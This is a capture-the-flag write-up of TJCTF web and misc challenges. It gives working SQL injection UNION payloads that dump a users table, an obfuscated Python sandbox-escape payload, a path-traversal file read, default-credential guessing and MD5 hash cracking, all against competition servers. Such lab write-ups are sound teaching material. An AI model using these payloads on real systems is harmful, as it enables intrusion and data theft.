Information#
Version#
By | Version | Comment |
---|---|---|
noraj | 1.0 | Creation |
CTF#
40 - Ess Kyoo Ell - Web#
Written by okulkarni
Find the IP address of the admin user! (flag is tjctf{[ip]})
First I tried to send normal data in the form and I got the following error: This is what I got about you from the database: no such column: password.
It seems weird and it sounds like a SQLi.
Trying to inject the POST parameters value doesn't work so I tried to inject the key instead, as suggested by the the error message.
So I replaced password
with '
(a simple quote).
The server answered another error message: 'NoneType' object is not iterable. This seems like a python error message, so the web server backend should be using python.
Then I tried a UNION-based injection: '%20UNION%20SELECT%201--%20-
(' UNION SELECT 1-- -
)
I got SELECTs to the left and right of UNION do not have the same number of result columns.
- Now we are pretty sure we have a SQL injection.
- We can continue to add
1,
to discover the number of columns, because I'm curious
Finaly I went up to 7 columns to stop getting an error: '%20UNION%20SELECT%201,1,1,1,1,1,1--%20-
(' UNION SELECT 1,1,1,1,1,1,1-- -
)
Now we have this cute JSON output leaking all the columns:
{'id': 1, 'username': 1, 'first_name': 1, 'last_name': 1, 'email': 1, 'gender': 1, 'ip_address': 1}
Finding the number of columns was not required, this works too: '%20UNION%20SELECT%20*%20from users--%20-
(' UNION SELECT * from users-- -
)
Note: finding the table users
was just some easy guessing.
Hey! We leaked an user account!
We can iterate with '%20UNION%20SELECT%20*%20from users limit 1 offset 1--%20-
(' UNION SELECT * from users limit 1 offset 1-- -
)
Now we have two choices: first we can continue to iterate to dump the whole database until we find the username admin
, like I did with this python script:
1 | import requests |
Or instead of dumping the whole database that is much more work and cost much more time, we could have just used '%20UNION%20SELECT%20*%20from%20users%20where%20username%3d"admin"--%20-
(' UNION SELECT * from users where username="admin"-- -
) to find the admin user directly.
In both cases we get only one result:
{"id": 706, "username": "admin", "first_name": "Administrative", "last_name": "User", "email": "[email\u00a0protected]", "gender": "Female", "ip_address": "145.3.1.213"}
So the flag is: tjctf{145.3.1.213}
.
100 - Mirror Mirror - Miscellaneous#
Written by Alaska47
If you look closely, you can see a reflection.
nc problem1.tjctf.org 8004
Here is what the server is telling us:
1 | nc problem1.tjctf.org 8004 |
We are in a python jail a.k.a. PyJail (python sandbox).
We know we must use get_flag()
and wrap our input in double quotes.
Let's try to find more info:
1 | get_flag.func_code.co_consts |
So we see there is a variable called this_is_the_super_secret_string
.
Then there is 48, 57, 65, 90, 97, 122, 44, 95
, which converted from decimal to ASCII gives 09AZaz,_
.
Then we have is not a valid character
so we can deduce that we have a regex [0-9a-zA-Z_,]
filtering the input.
Trying get_flag(get_flag.func_code.co_consts[1])
will give t is not a valid character
, proving that there is such a filtering.
Fuzzing a little will throw this:
1 | Traceback (most recent call last): |
So we know our input is evaluated after being filtered.
Our goal is to get something like get_flag("this_is_the_super_secret_string")
but not matching [0-9a-zA-Z_,]
.
That's the hard part.
I looked for some python jail WU and re-found the great wapiflapi WU from PlaidCTF (https://wapiflapi.github.io/2013/04/22/plaidctf-pyjail-story-of-pythons-escape/). You'll see that I will quote him a lot.
Quick reminder, in python
eval
is used to evaluate an expression and returns its value whereasexec
is a statement that compiles and executes a set of statements. In short this means you can execute statements when you are usingexec
but not when usingeval
.[...]
Most of python are just references, and this we can see here again. These protections only remove references. The original modules like
os
, and the builtins are not altered in any way. Our task is quiet clear, we need to find a reference to something useful and use it to find the flag on the file system. But first we need to find a way of executing code with this little characters allowed.
Running code#
In his WU, wapiflapi can use this set of chars
1 | set([':', '%', "'", '', '(', ',', ')', '}', '{', '[', '.', ']', '<', '_', '~']) |
where here, we can't use _
and ,
. So our solution will be a little different.
Use sys.version
we can know the version of python running:
1 | "s" + "ys"].version get_flag.func_globals[ |
As it is some python 2.7 we can use tuples ()
, lists []
, dictionaries {:}
, sets {}
, strings ' '
, %
for formatting.
We can also use <
, ~
, `
.
<
and~
are simple operators, we can do less-than comparison and binary-negation.
In python2 `
allows us to produce strings out of objects because `x`
is equivalent to repr(x)
.
<
can be used both for comparing to integers and in the form of<<
binary-shifting them to the left.
The first thing to notice is that
[]<[]
isFalse
, which is pretty logical. What is less explainable but serves us well is the fact that{}<[]
evaluates toTrue
.
True
andFalse
, when used in arithmetic operations, behave like1
and0
. This will be the building block of our decoder but we still need to find a way to actually produce arbitrary strings.
Getting characters#
Let's start with a generic solution, we will improve on it later. Getting the numeric ASCII values of our characters seems doable with
True
,False
,~
and<<
. But we need something likestr()
or"%c"
. This is where the invisible characters come in handy!"\xcb"
for example, it's not even ascii as it is larger than 127, but it is valid in a python string, and we can send it to the server.If we take its representation using
`'_\xcb_'`
(In practice we will send a byte with the value0xcb
not'\xcb'
), we have a string containing ac
. We also need a'%'
, and we need those two, and those two only.We want this:
`'%\xcb'`[1::3]
, usingTrue
andFalse
to build the numbers we get:
1 `'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]There you go! Now provided we can have any number build using the same trick as for the indexes we just have to use the above and
%(number)
to get any character we want.
So we want to get something like "%c" % (70)
to get a F
.
Numbers#
If you have ever studied any logic you might have encountered the claim that everything could be done with NAND gates. NOT-AND. This is remarkably close to how we shall proceed, except for the fact we shall use multiply-by-two instead of AND. We won't use
True
.Everything can be done using only
False
(0),~
(not),<<
(x2), let me show you with an example. We shall go from 42 to 0 using~
and/2
, then we can revert that process using~
and*2
.
1 | 42 / 2 |
Basically we divided by two when we could, else we inverted all the bits. The nice property of this is that when inverting we are guaranteed to be able to divide by two afterward. So that finally we shall hit 1, 0 or -1.
But wait. Didn't I say we would not use True, 1? Yes I did, but I lied. We will use it because True is obviously shorter than
~(~False*2)
, especially considering the fact we will use True anyway to do x2, which in our case is of course<<({}<[])
.Anyway, the moment we hit 1, 0 or -1 we can just use
True
,False
or~False
.So now we can reverse this and we have:
1 | 42 == ~(~(~(~(1*2)*2)*2)*2)*2 |
Using what we are allowed to:
1 | 42 == ~(~(~(~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]) |
So by using this function, we can transform any number into a kind of logical brainfuck:
1 | def brainfuckize(nb): |
Joining#
So we can already transform any char into non-alphabetical code like this:
1 | ord('F')) brainfuckize( |
Now we want to join the letters together to make a string.
wapiflapi was using the following trick to transform an array of chars into a string.
1 | 'a', 'b', 'c', 'd'] [ |
This is shorter than the solution I will show you but this is using comas, and we can't.
So I would rather use concatenation with +
instead of ,
.
1 | 'a'+'b'+'c'+'d' |
So I made a script to automate that:
1 | from __future__ import print_function |
Running it gives us the wanted string:
1 | '%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[])) ` |
Now get back to the server, put out payload into docstring like that: get_flag("""out_payload_here""")
.
Final payload:
1 | """`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~(((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~(~(~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((((~(({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~((~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%((~(~(~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(~((~((~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(~((~(~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%(~(((~(~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))+`'%\xcb'`[{}<[]::~(~({}<[])<<({}<[]))]%~(((~((~(~({}<[])<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))<<({}<[]))""") get_flag( |
Bonus#
Someone of my team managed to get the list of filtered functions:
1 | "s" + "ys" s = |
30 - Request Me - Web#
Written by okulkarni
https://request_me.tjctf.org/
Let's see all HTTP verbs available, then we see it requires basic auth, so we can try all verbs with admin:admin
and finally catch the flag.
1 | $ curl https://request_me.tjctf.org/ |
10 - Central Savings Account - Web#
Written by evanyeyeye
I seem to have forgotten the password for my savings account. What am I gonna do?
The flag is not in standard flag format.
By seeing the source of https://central_savings_account.tjctf.org/, we can see a static JS file: main.js
.
Where there is a lot of useless stuff and finally:
1 | $(document).ready(function() { |
I just used https://crackstation.net/ to break the md5 hash, the result is avalon
.
10 - Cookie Monster - Web#
Go to https://cookie_monster.tjctf.org/, scroll a little, check your HTTP request headers and you can see:
1 | Cookie: __cfduid=d4b34a99d1a8656cd377ff7524aea2d5c1533757862; flag=tjctf{c00ki3s_over_h0rs3s} |
60 - Programmable Hyperlinked Pasta - Web#
Written by nthistle
Check out my new site! PHP is so cool!
programmable_hyperlinked_pasta.tjctf.org
Just check the source:
1 | <body> |
There is a flag.txt
somewhere and a url ?lang=es.php
that looks LFI injectable.
So just run https://programmable_hyperlinked_pasta.tjctf.org/?lang=../flag.txt and get the flag: tjctf{l0c4l_f1l3_wh4t?}
.
25 - huuuuuge - Misc#
Written by Alaska47
Don't think too deep.
104.154.187.226/huuuuuge
It looks like a git repository.
1 | $ nmap -p 80,443,22 104.154.187.226 |
HTTP ports are closed or filtered so we are only able to use git on ssh.
1 | $ git clone git://104.154.187.226/.git repo-root |
Useless, that not the good repository.
Let's try the good one:
1 | $ git clone git://104.154.187.226/huuuuuge/.git/ repo-huge |
Now we know why it is called huuuuuge
. We need to find a way to clone just a part of the repository.
Let's see how many branches there are.
1 | $ git ls-remote git://104.154.187.226/huuuuuge/.git/ |
So we have only one branch (master
).
I found an Atalassian article about dealing with huge git repository.
How to handle big repositories with Git
The first solution to a fast clone and saving developer’s and system’s time and disk space is to copy only recent revisions. Git’s shallow clone option allows you to pull down only the latest n commits of the repo’s history.
1 | $ git clone --depth 1 git://104.154.187.226/huuuuuge/.git/ repo-huge |